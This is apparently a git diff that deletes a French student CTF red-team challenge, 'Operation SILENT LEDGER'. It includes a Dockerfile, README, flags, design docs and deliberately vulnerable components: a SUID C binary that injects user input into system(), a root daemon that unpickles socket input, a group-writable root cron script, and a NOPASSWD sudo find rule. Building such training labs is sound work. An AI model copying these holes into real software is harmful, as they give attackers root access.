apt-get install -y --no-install-recommends zip gnupg \ - && rm -rf /var/lib/apt/lists/* -WORKDIR /secrets -COPY challenge/flag9.txt challenge/decoy_customers.csv ./ -# F9 loot: zip protected with a weak, rockyou.txt-crackable password -RUN zip -P "iloveyou" vault.zip flag9.txt decoy_customers.csv \ - && rm flag9.txt decoy_customers.csv - -COPY challenge/flag10.txt ./ -# F10 loot: symmetrically GPG-encrypted with a 6-digit numeric PIN -RUN gpg --batch --yes --pinentry-mode loopback --passphrase "482913" \ - --cipher-algo AES256 --symmetric --output final.gpg flag10.txt \ - && printf '482913' | sha256sum | awk '{print $1}' > pin.hash \ - && rm flag10.txt - -# --------------------------------------------------------------------------- -# Stage 3: final runtime image -# --------------------------------------------------------------------------- -FROM debian:bookworm-slim - -RUN apt-get update && apt-get install -y --no-install-recommends \ - openssh-server sudo cron python3 libcap2-bin procps \ - zip unzip gnupg less nano binutils strace gdb file \ - && rm -rf /var/lib/apt/lists/* \ - && mkdir -p /var/run/sshd /opt/meridian /opt/scripts /var/log/meridian \ - /root/creds /root/vault /root/.encrypted - -# --- users & groups ----------------------------------------------------- -RUN groupadd analysts \ - && useradd -m -s /bin/bash j.martin \ - && useradd -m -s /bin/bash svc_backup \ - && useradd -m -s /bin/bash -G analysts r.dubois \ - && useradd -m -s /bin/bash app_agent \ - && echo "j.martin:Welcome2024!" | chpasswd \ - && echo "svc_backup:B4ckupSvc_2023!" | chpasswd \ - && echo "r.dubois:An4lyst#Secure99" | chpasswd \ - && passwd -l app_agent \ - && passwd -l root - -# --- F1: recon ------------------------------------------------------------ -COPY challenge/welcome_note.txt /home/j.martin/welcome_note.txt -COPY challenge/bash_history_jmartin /home/j.martin/.bash_history - -# --- F2: filesystem enumeration ------------------------------------------- -COPY challenge/app_config.bak /var/backups/app_config.bak -COPY challenge/decoy_website_2019.bak /var/backups/website_2019.bak -COPY challenge/decoy_db_dump_old.bak /var/backups/db_dump_old.bak - -# --- F3: credential harvesting --------------------------------------------- -COPY challenge/flag3.txt /home/svc_backup/flag3.txt - -# --- F4: cron privesc ------------------------------------------------------- -COPY challenge/cleanup.sh /opt/scripts/cleanup.sh -COPY challenge/cron_meridian /etc/cron.d/meridian -COPY challenge/r_dubois_creds.txt /root/creds/r_dubois_password.txt - -# --- F5: SUID binary --------------------------------------------------------- -COPY --from=builder /out/logviewer /usr/local/bin/logviewer -RUN echo "app started ok" > /var/log/meridian/app.log -COPY challenge/flag5.txt /root/flag5.txt - -# --- F6: sudo misconfiguration ----------------------------------------------- -COPY challenge/sudoers_rdubois /etc/sudoers.d/r_dubois -COPY challenge/flag6.txt /home/app_agent/flag6.txt - -# --- F7: Linux capabilities --------------------------------------------------- -RUN cp /usr/bin/python3 /usr/local/bin/py-agent \ - && setcap cap_dac_read_search+ep /usr/local/bin/py-agent -COPY challenge/flag7.txt /root/flag7.txt -COPY challenge/readme_orchestrator.txt /root/README_orchestrator.txt -COPY challenge/orchestrator_token.txt /root/.orchestrator_token - -# --- F8: custom orchestrator daemon (insecure deserialization) -------------- -COPY challenge/orchestrator.py /opt/meridian/orchestrator.py -COPY challenge/flag8.txt /root/vault/flag8.txt - -# --- F9 / F10: encrypted vault + final PIN-protected archive ---------------- -COPY --from=secrets /secrets/vault.zip /root/vault/vault.zip -COPY --from=secrets /secrets/final.gpg /root/.encrypted/final.gpg -COPY --from=secrets /secrets/pin.hash /root/.encrypted/pin.hash - -# --- permissions --------------------------------------------------------- -RUN chown j.martin:j.martin /home/j.martin/welcome_note.txt /home/j.martin/.bash_history \ - && chmod 644 /var/backups/*.bak \ - && chown svc_backup:svc_backup /home/svc_backup/flag3.txt && chmod 600 /home/svc_backup/flag3.txt \ - && chown root:svc_backup /opt/scripts/cleanup.sh && chmod 664 /opt/scripts/cleanup.sh \ - && chmod 644 /etc/cron.d/meridian \ - && chown root:root /root/creds/r_dubois_password.txt && chmod 600 /root/creds/r_dubois_password.txt \ - && chown root:analysts /usr/local/bin/logviewer && chmod 4750 /usr/local/bin/logviewer \ - && chmod 644 /var/log/meridian/app.log \ - && chown root:root /root/flag5.txt && chmod 600 /root/flag5.txt \ - && chmod 440 /etc/sudoers.d/r_dubois \ - && chown app_agent:app_agent /home/app_agent/flag6.txt && chmod 600 /home/app_agent/flag6.txt \ - && chown root:root /usr/local/bin/py-agent && chmod 755 /usr/local/bin/py-agent \ - && chown root:root /root/flag7.txt /root/README_orchestrator.txt /root/.orchestrator_token \ - && chmod 600 /root/flag7.txt /root/.orchestrator_token && chmod 644 /root/README_orchestrator.txt \ - && chown root:root /root/vault/flag8.txt /root/vault/vault.zip \ - && chmod 600 /root/vault/flag8.txt /root/vault/vault.zip \ - && chown root:root /root/.encrypted/final.gpg /root/.encrypted/pin.hash \ - && chmod 600 /root/.encrypted/final.gpg /root/.encrypted/pin.hash \ - && chmod 600 /opt/meridian/orchestrator.py - -# --- SSH config --------------------------------------------------------- -RUN sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config \ - && sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config \ - && sed -i 's/^AllowUsers.*//' /etc/ssh/sshd_config \ - && echo "AllowUsers j.martin svc_backup r.dubois" >> /etc/ssh/sshd_config \ - && echo "Banner /etc/motd_banner" >> /etc/ssh/sshd_config -COPY challenge/motd /etc/motd_banner - -COPY challenge/entrypoint.sh /entrypoint.sh -RUN chmod +x /entrypoint.sh /opt/scripts/cleanup.sh - -EXPOSE 22 -CMD ["/entrypoint.sh"] diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/README.md b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/README.md deleted file mode 100644 index 1f0b780..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/README.md +++ /dev/null @@ -1,62 +0,0 @@ -# Operation SILENT LEDGER — CTF Red Team (post-exploitation Linux) - -Challenge CTF pour projet annuel — 10 flags progressifs sur une seule instance -Docker, destiné à CTFd + `CTFdDockerContainersPlugin`. - -Scénario : après un accès initial déjà obtenu (identifiants SSH d'un stagiaire), -le joueur mène une chaîne complète de post-exploitation Linux jusqu'à -l'exfiltration finale — énumération, récolte d'identifiants, cron, SUID, -sudo/GTFOBins, capabilities, exploitation d'un outil interne (désérialisation), -cassage de mots de passe hors-ligne, chiffrement GPG. - -## Démarrage rapide - -```bash -docker build -t meridian-silent-ledger . -docker run -d -p 2222:22 --name silent-ledger meridian-silent-ledger -ssh j.martin@localhost -p 2222 # mot de passe : Welcome2024! -``` - -## Documentation - -- [`docs/SCENARIO_JOUEUR.md`](docs/SCENARIO_JOUEUR.md) — briefing et textes à - coller dans CTFd (un par challenge), barème de points. -- [`docs/SOLUTION_WRITEUP.md`](docs/SOLUTION_WRITEUP.md) — **correction complète**, - commande par commande, pour les 10 flags. -- [`docs/CTFD_SETUP.md`](docs/CTFD_SETUP.md) — configuration pas à pas de CTFd et - du plugin Docker (image, ports, prérequis pour forcer l'ordre chronologique). -- [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) — choix de conception et - justification technique (utile pour la soutenance). - -## Barème (1650 points au total) - -| # | Challenge | Technique | Points | -|---|-----------|-----------|-------:| -| 1 | Premiers pas | Reconnaissance | 50 | -| 2 | Fouille de printemps | Énumération filesystem | 75 | -| 3 | Mauvaise mémoire | Récolte d'identifiants | 100 | -| 4 | Tâche planifiée | Cron privesc | 125 | -| 5 | Journaux confidentiels | SUID / injection de commande | 150 | -| 6 | Délégation hasardeuse | Sudo misconfig (GTFOBins) | 175 | -| 7 | Pouvoirs spéciaux | Capabilities Linux | 200 | -| 8 | L'orchestrateur | Désérialisation non sécurisée (RCE root) | 225 | -| 9 | Le coffre | Cassage de mot de passe (zip) | 250 | -| 10 | Silent Ledger | Cassage PIN + déchiffrement GPG | 300 | - -## Statut - -- [x] Dockerfile + tous les artefacts du challenge écrits -- [ ] Build & test end-to-end (Docker Desktop indisponible dans l'environnement - où ce projet a été généré — à faire sur ta machine, voir ci-dessous) -- [ ] Intégration CTFd effective - -### Comment tester avant intégration CTFd - -```bash -docker build -t meridian-silent-ledger . -docker run -d -p 2222:22 --name test-ledger meridian-silent-ledger -ssh j.martin@localhost -p 2222 -# Welcome2024! -# ... suivre docs/SOLUTION_WRITEUP.md flag par flag jusqu'au 10 -docker rm -f test-ledger -``` diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/app_config.bak b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/app_config.bak deleted file mode 100644 index 2056c53..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/app_config.bak +++ /dev/null @@ -1,12 +0,0 @@ -# Meridian internal app - config backup (2023-11-02) -# Autogenerated, do not edit by hand - -app.env=production -app.log_level=warn -app.internal_accounts=svc_backup,r.dubois,app_agent -app.contact=it-ops@meridian.local - -# NOTE(jdupont): remember svc_backup exists for nightly backups, -# don't let it fall out of the rotation again like last time. - -flag: MERIDIAN{h1dd3n_1n_pla1n_s1ght_7b2e41} diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/bash_history_jmartin b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/bash_history_jmartin deleted file mode 100644 index 97913f2..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/bash_history_jmartin +++ /dev/null @@ -1,10 +0,0 @@ -ls -la -cat welcome_note.txt -whoami -id -cat /etc/os-release -su svc_backup -B4ckupSvc_2023! -exit -cat /opt/scripts/cleanup.sh -history diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/cleanup.sh b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/cleanup.sh deleted file mode 100644 index b7158c6..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/cleanup.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash -# Meridian nightly cleanup - purge stale temp files -# Owner: root Group: svc_backup (group-writable on purpose: svc_backup -# is supposed to be able to tweak the retention policy without bugging IT) -find /tmp -type f -mtime +7 -delete 2>/dev/null diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/cron_meridian b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/cron_meridian deleted file mode 100644 index 49bafaf..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/cron_meridian +++ /dev/null @@ -1,5 +0,0 @@ -SHELL=/bin/bash -PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin -# Meridian nightly cleanup - runs every minute in this lab environment -# (would be a nightly job in production) so the CTF instance stays snappy. -* * * * * root /opt/scripts/cleanup.sh diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_customers.csv b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_customers.csv deleted file mode 100644 index 67cc5a1..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_customers.csv +++ /dev/null @@ -1,4 +0,0 @@ -id,name,account_type -1,ACME Holdings,premium -2,Contoso Ventures,standard -3,Globex Capital,premium diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_db_dump_old.bak b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_db_dump_old.bak deleted file mode 100644 index 788c967..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_db_dump_old.bak +++ /dev/null @@ -1,3 +0,0 @@ --- legacy schema export, table structure only, no rows (decommissioned 2018) -CREATE TABLE legacy_customers (id INT, name VARCHAR(255), created_at DATETIME); -CREATE TABLE legacy_invoices (id INT, customer_id INT, amount DECIMAL(10,2)); diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_website_2019.bak b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_website_2019.bak deleted file mode 100644 index 028e163..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_website_2019.bak +++ /dev/null @@ -1,2 +0,0 @@ -# Old marketing site backup - superseded, kept for archive purposes -

Meridian Capital - Coming soon

diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/entrypoint.sh b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/entrypoint.sh deleted file mode 100644 index e03102f..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/entrypoint.sh +++ /dev/null @@ -1,18 +0,0 @@ -#!/bin/bash -set -e - -# Generate SSH host keys on first boot -ssh-keygen -A >/dev/null 2>&1 -mkdir -p /run/sshd -mkdir -p /run/meridian - -# Start the internal cron daemon (drives the F4 privesc vector) -cron - -# Start the internal fleet orchestrator (drives the F8 vector) -python3 /opt/meridian/orchestrator.py & - -# Foreground SSH daemon keeps the container alive. -# (kept as a plain foreground call, not `exec`, so bash stays PID 1 -# and can reap the cron/orchestrator children) -/usr/sbin/sshd -D -e diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag10.txt b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag10.txt deleted file mode 100644 index 1c82782..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag10.txt +++ /dev/null @@ -1,5 +0,0 @@ -MERIDIAN{0p3ration_s1l3nt_l3dg3r_c0mpl3t3_f4a217} - -Congratulations - you have completed Operation SILENT LEDGER end to end, -from an intern's phished credentials to full compromise of Meridian -Capital's crown-jewel data. Write it up. diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag3.txt b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag3.txt deleted file mode 100644 index 6df68a4..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag3.txt +++ /dev/null @@ -1,6 +0,0 @@ -svc_backup account - nightly backup rotation service. - -flag: MERIDIAN{h1st0ry_r3p3ats_1ts3lf_c48a02} - -Reminder to self: the group-writable cleanup.sh in /opt/scripts really -should not be group-writable. Filing a ticket... eventually. diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag5.txt b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag5.txt deleted file mode 100644 index 56685f8..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag5.txt +++ /dev/null @@ -1,4 +0,0 @@ -flag: MERIDIAN{su1d_b1nar13s_l13_0ft3n_2f6b58} - -logviewer runs as root and builds a shell command from your input without -sanitizing it. Command injection in a SUID binary is still command injection. diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag6.txt b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag6.txt deleted file mode 100644 index 7ca4c25..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag6.txt +++ /dev/null @@ -1,7 +0,0 @@ -Nice work pivoting to app_agent. - -flag: MERIDIAN{sud0_m1sc0nf1g_str1k3s_ag41n_e0a934} - -Hint: check your effective capabilities before you go looking for -another sudo rule -- not everything needs root. - getcap -r / 2>/dev/null diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag7.txt b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag7.txt deleted file mode 100644 index b54059b..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag7.txt +++ /dev/null @@ -1,4 +0,0 @@ -flag: MERIDIAN{cap4bilit13s_ar3_p0w3r_5c2d71} - -You bypassed a permission check using a Linux capability instead of -becoming root outright. See README_orchestrator.txt next to this file. diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag8.txt b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag8.txt deleted file mode 100644 index ab82002..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag8.txt +++ /dev/null @@ -1,6 +0,0 @@ -flag: MERIDIAN{0rch3str4t0r_pwn3d_88af0d} - -You achieved arbitrary command execution as root via the orchestrator's -"restore_config" endpoint (insecure deserialization / pickle.loads on -attacker-controlled input). The remaining secrets are still encrypted -at rest though -- defense in depth doesn't stop at the perimeter. diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag9.txt b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag9.txt deleted file mode 100644 index 73a996d..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag9.txt +++ /dev/null @@ -1,4 +0,0 @@ -flag: MERIDIAN{cr4ck3d_th3_v4ult_1e39b6} - -Good - the zip password was weak enough to fall to a standard -dictionary attack. One more layer to go. diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/logviewer.c b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/logviewer.c deleted file mode 100644 index 7e0e58e..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/logviewer.c +++ /dev/null @@ -1,29 +0,0 @@ -/* - * Meridian Capital - Internal Log Viewer - * Allows members of the "analysts" group to view sanitized application - * logs without needing full root access. - * - * Usage: logviewer - * Reads /var/log/meridian/.log - */ -#include -#include -#include -#include - -int main(int argc, char *argv[]) { - if (argc != 2) { - fprintf(stderr, "Usage: %s \n", argv[0]); - return 1; - } - - char cmd[512]; - snprintf(cmd, sizeof(cmd), "cat /var/log/meridian/%s.log", argv[1]); - - /* Drop to root to be able to read protected log files */ - setuid(0); - setgid(0); - - system(cmd); - return 0; -} diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/motd b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/motd deleted file mode 100644 index cf0528c..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/motd +++ /dev/null @@ -1,14 +0,0 @@ - - __ __ ______ _____ _____ _____ _____ _ _ - | \/ | ____| __ \|_ _| __ \_ _| /\ | \ | | - | \ / | |__ | |__) | | | | | | || | / \ | \| | - | |\/| | __| | _ / | | | | | || | / /\ \ | . ` | - | | | | |____| | \ \ _| |_| |__| || |_ / ____ \| |\ | - |_| |_|______|_| \_\_____|_____/_____/_/ \_\_| \_| - - C A P I T A L - Internal Systems - Authorized access only. All actions are logged. - - IT onboarding note: check your home directory for the - welcome package if this is your first login. - diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/orchestrator.py b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/orchestrator.py deleted file mode 100644 index 79aa077..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/orchestrator.py +++ /dev/null @@ -1,86 +0,0 @@ -#!/usr/bin/env python3 -""" -Meridian Fleet Orchestrator (internal tool) - v1.4 -Listens on a UNIX socket and accepts a small JSON control protocol used -by IT to manage internal jobs across the fleet. Runs as root because it -needs to be able to restart services on any host. -""" -import base64 -import json -import os -import pickle -import socket -import socketserver -import threading - -SOCK_PATH = "/run/meridian/orchestrator.sock" -TOKEN_FILE = "/root/.orchestrator_token" - - -def load_token(): - with open(TOKEN_FILE) as f: - return f.read().strip() - - -class Handler(socketserver.BaseRequestHandler): - def handle(self): - data = b"" - while not data.endswith(b"\n"): - chunk = self.request.recv(4096) - if not chunk: - break - data += chunk - - try: - msg = json.loads(data.decode().strip()) - except Exception: - self.request.sendall(b'{"error":"bad json"}\n') - return - - cmd = msg.get("cmd") - - if cmd == "ping": - self.request.sendall(b'{"status":"ok","service":"meridian-orchestrator v1.4"}\n') - return - - token = msg.get("token") - if token != load_token(): - self.request.sendall(b'{"error":"unauthorized"}\n') - return - - if cmd == "status": - self.request.sendall(b'{"status":"ok","fleet":["gw-01","app-01","db-01"],"jobs_running":3}\n') - return - - if cmd == "restore_config": - # Restores a previously exported job configuration blob. - # The blob is a base64-encoded serialized job descriptor. - try: - blob = base64.b64decode(msg.get("payload", "")) - obj = pickle.loads(blob) # nosec - internal trusted tool (historically) - self.request.sendall( - ('{"status":"ok","restored":%s}\n' % json.dumps(str(obj))).encode() - ) - except Exception as e: - self.request.sendall(('{"error":"%s"}\n' % str(e)).encode()) - return - - self.request.sendall(b'{"error":"unknown cmd"}\n') - - -class ThreadingUnixServer(socketserver.ThreadingMixIn, socketserver.UnixStreamServer): - daemon_threads = True - - -def main(): - os.makedirs(os.path.dirname(SOCK_PATH), exist_ok=True) - if os.path.exists(SOCK_PATH): - os.remove(SOCK_PATH) - - server = ThreadingUnixServer(SOCK_PATH, Handler) - os.chmod(SOCK_PATH, 0o666) - server.serve_forever() - - -if __name__ == "__main__": - main() diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/orchestrator_token.txt b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/orchestrator_token.txt deleted file mode 100644 index 4444fe2..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/orchestrator_token.txt +++ /dev/null @@ -1 +0,0 @@ -8f3ac1e9b7d24f0aa6c9e21d4b7f9931 diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/r_dubois_creds.txt b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/r_dubois_creds.txt deleted file mode 100644 index 6186bcc..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/r_dubois_creds.txt +++ /dev/null @@ -1,10 +0,0 @@ -[MERIDIAN INTERNAL - Quarterly credentials rotation - Analysts] - -user: r.dubois -password: An4lyst#Secure99 - --- IT Ops -Please rotate again before end of quarter, and stop storing these -in plaintext once the vault migration is done. - -flag: MERIDIAN{cr0n_j0bs_ar3_g0ld_9d17f3} diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/readme_orchestrator.txt b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/readme_orchestrator.txt deleted file mode 100644 index 0d91a42..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/readme_orchestrator.txt +++ /dev/null @@ -1,3 +0,0 @@ -Internal fleet orchestrator - listens on /run/meridian/orchestrator.sock -Protocol: line-delimited JSON. -Privileged commands require a "token" field. Contact IT if you lost yours. diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/sudoers_rdubois b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/sudoers_rdubois deleted file mode 100644 index e4abd60..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/sudoers_rdubois +++ /dev/null @@ -1,4 +0,0 @@ - -# Analysts occasionally need to run cleanup/search jobs as the -# app_agent service account without bothering IT every time. -r.dubois ALL=(app_agent) NOPASSWD: /usr/bin/find diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/welcome_note.txt b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/welcome_note.txt deleted file mode 100644 index e736a7d..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/welcome_note.txt +++ /dev/null @@ -1,10 +0,0 @@ -Welcome to Meridian Capital, j.martin! - -IT onboarding checklist: - [x] Laptop provisioned - [x] VPN access - [ ] Read the internal security policy (ask your manager) - -Ticket MER-2291: "please stop leaving debug notes in your home dir" - IT - -flag: MERIDIAN{f1rst_st3ps_1nt0_th3_n3tw0rk_3a1c9d} diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/ARCHITECTURE.md b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/ARCHITECTURE.md deleted file mode 100644 index 9c9b57c..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/ARCHITECTURE.md +++ /dev/null @@ -1,86 +0,0 @@ -# Architecture technique - -## Pourquoi un seul conteneur (pas de docker-compose multi-hôtes) ? - -Le plugin CTFd Docker gère nativement **une image = un bouton = un conteneur**. -Simuler plusieurs "hôtes" internes (jump host / app server / db server) via un -`docker-compose` multi-conteneurs aurait nécessité soit un support compose côté -plugin (non garanti selon la version), soit du Docker-in-Docker en mode -`privileged` (risque opérationnel et sécurité pour un déploiement mutualisé, -fragile en démonstration live). Le choix a été de simuler la **segmentation par -privilège** (comptes systèmes distincts, capabilities, sudo ciblé) plutôt que la -segmentation réseau — ce qui reste un exercice de post-exploitation très réaliste -(le mouvement latéral "inter-comptes" sur un même host est une compétence tout -aussi centrale que le pivot réseau) et beaucoup plus simple à faire tourner de -façon fiable pendant une soutenance. - -## Pourquoi pas un vrai socket Docker (`/var/run/docker.sock`) pour F8 ? - -Exposer le vrai socket Docker de l'hôte à l'intérieur du conteneur revient à -offrir un accès root sur la machine hôte à quiconque compromet le conteneur — -inacceptable dans un environnement CTFd partagé. À la place, un **daemon interne -original** (`orchestrator.py`) simule un outil de gestion de flotte "maison", -avec une vraie vulnérabilité (désérialisation Python non sécurisée) qui offre la -même sensation pédagogique (exploiter un outil d'administration interne) sans -aucun risque d'évasion réelle vers l'hôte. - -## Pourquoi pas de vulnérabilité web ? - -Contrainte du projet : éviter le chevauchement avec le challenge d'un collègue -(CTF red sur service web vulnérable). Ce challenge est donc **100% système** : -permissions Unix, cron, SUID, sudo, capabilities, un service interne exposé via -socket UNIX (pas HTTP, pas de navigateur), cryptographie appliquée. Le seul -composant "applicatif" (l'orchestrateur) n'est ni HTTP ni piloté depuis un -navigateur, ce qui le distingue nettement d'un challenge web classique. - -## Chaîne de comptes et de privilèges - -``` -j.martin (SSH direct, mot de passe fourni) - └─ svc_backup (mot de passe dans .bash_history de j.martin) - └─ [cron root inscriptible par le groupe svc_backup] - └─ r.dubois (mot de passe exfiltré via le cron) - ├─ SUID logviewer (groupe analysts) -> lecture/exec root - └─ sudo NOPASSWD find -> app_agent - └─ py-agent (cap_dac_read_search) -> lecture arbitraire - └─ orchestrator.sock (token + pickle RCE) -> root -``` - -Chaque saut change de compte Unix ; aucun ne donne un shell root interactif -"gratuit" avant l'étape 8, ce qui garantit que les 7 premières étapes se résolvent -uniquement par de l'énumération et de l'abus de permissions — pas par accident. - -## Reproductibilité des flags - -Les flags sont statiques (mêmes valeurs à chaque build), ce qui est acceptable -puisque **chaque équipe reçoit sa propre instance isolée** détruite après usage -(garantie du plugin CTFd Docker : un conteneur par équipe/joueur, réseau non -partagé). Il n'y a donc pas de risque de fuite d'un flag d'une équipe à l'autre. - -Si vous préférez des flags uniques par instance (protection contre le partage de -flags entre équipes qui compareraient leurs copies d'écran), il est possible -d'ajouter un script d'entrypoint qui régénère les flags à partir d'une variable -d'environnement injectée par le plugin (souvent une variable type -`TEAM_ID`/`CHALLENGE_ID`) au démarrage du conteneur — non implémenté ici pour -garder le build reproductible et simple à corriger, mais c'est une extension -naturelle si le format de compétition l'exige. - -## Fichiers du projet - -``` -4-Red-Team-Operation-Silent-Ledger/ -├── Dockerfile # build multi-stage (builder / secrets / final) -├── challenge/ # tout ce qui est copié dans l'image -│ ├── logviewer.c # binaire SUID vulnérable (F5) -│ ├── orchestrator.py # daemon interne, désérialisation (F8) -│ ├── entrypoint.sh -│ ├── cleanup.sh # script cron inscriptible (F4) -│ ├── cron_meridian # /etc/cron.d/meridian -│ ├── sudoers_rdubois # /etc/sudoers.d/r_dubois (F6) -│ └── flag*.txt, *.bak, ... # contenu et leurres placés dans l'image -└── docs/ - ├── SCENARIO_JOUEUR.md # textes à coller dans CTFd - ├── SOLUTION_WRITEUP.md # correction complète (ce document jumeau) - ├── CTFD_SETUP.md # configuration CTFd + plugin - └── ARCHITECTURE.md # ce fichier -``` diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/CTFD_SETUP.md b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/CTFD_SETUP.md deleted file mode 100644 index 3a1111b..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/CTFD_SETUP.md +++ /dev/null @@ -1,113 +0,0 @@ -# Intégration dans CTFd + CTFdDockerContainersPlugin - -## 1. Build & publication de l'image - -```bash -cd challenges/4-Red-Team-Operation-Silent-Ledger -docker build -t registry.local/meridian-silent-ledger:latest . - -# si votre CTFd/plugin tire les images depuis un registre privé : -docker push registry.local/meridian-silent-ledger:latest - -# si le plugin utilise le même daemon Docker que CTFd (setup local/mono-hôte) : -# rien à pousser, l'image est déjà visible par `docker images` -``` - -⚠️ **Ne poussez jamais l'image en la reconstruisant avec `--cache-from` un cache -partagé/public** : le stage intermédiaire `secrets` contient brièvement les flags -en clair avant chiffrement. Le multi-stage build les exclut de l'image finale, mais -un cache exporté (`buildx --cache-to`) pourrait les réintroduire. En usage normal -(`docker build` local) il n'y a aucun risque : seul le stage final est exporté. - -## 2. Configuration du plugin (CTFdDockerContainersPlugin) - -Dans l'admin CTFd → onglet du plugin Docker : - -1. **Docker Host** : renseignez le socket/host du daemon Docker qui exécutera les - instances (ex : `unix:///var/run/docker.sock` en local, ou une URL TCP+TLS pour - un hôte distant). -2. **Add Image** : ajoutez `registry.local/meridian-silent-ledger:latest` à la liste - des images autorisées. -3. Vérifiez que le réseau Docker utilisé pour ces instances **n'a pas d'accès - sortant à Internet** (bridge isolé / `--internal`). Rien dans ce challenge n'en - a besoin, et ça évite qu'une instance compromise serve de relais. - -## 3. Création des challenges (10 + 1 point d'entrée) - -Créez une catégorie unique, par exemple `Red Team — Silent 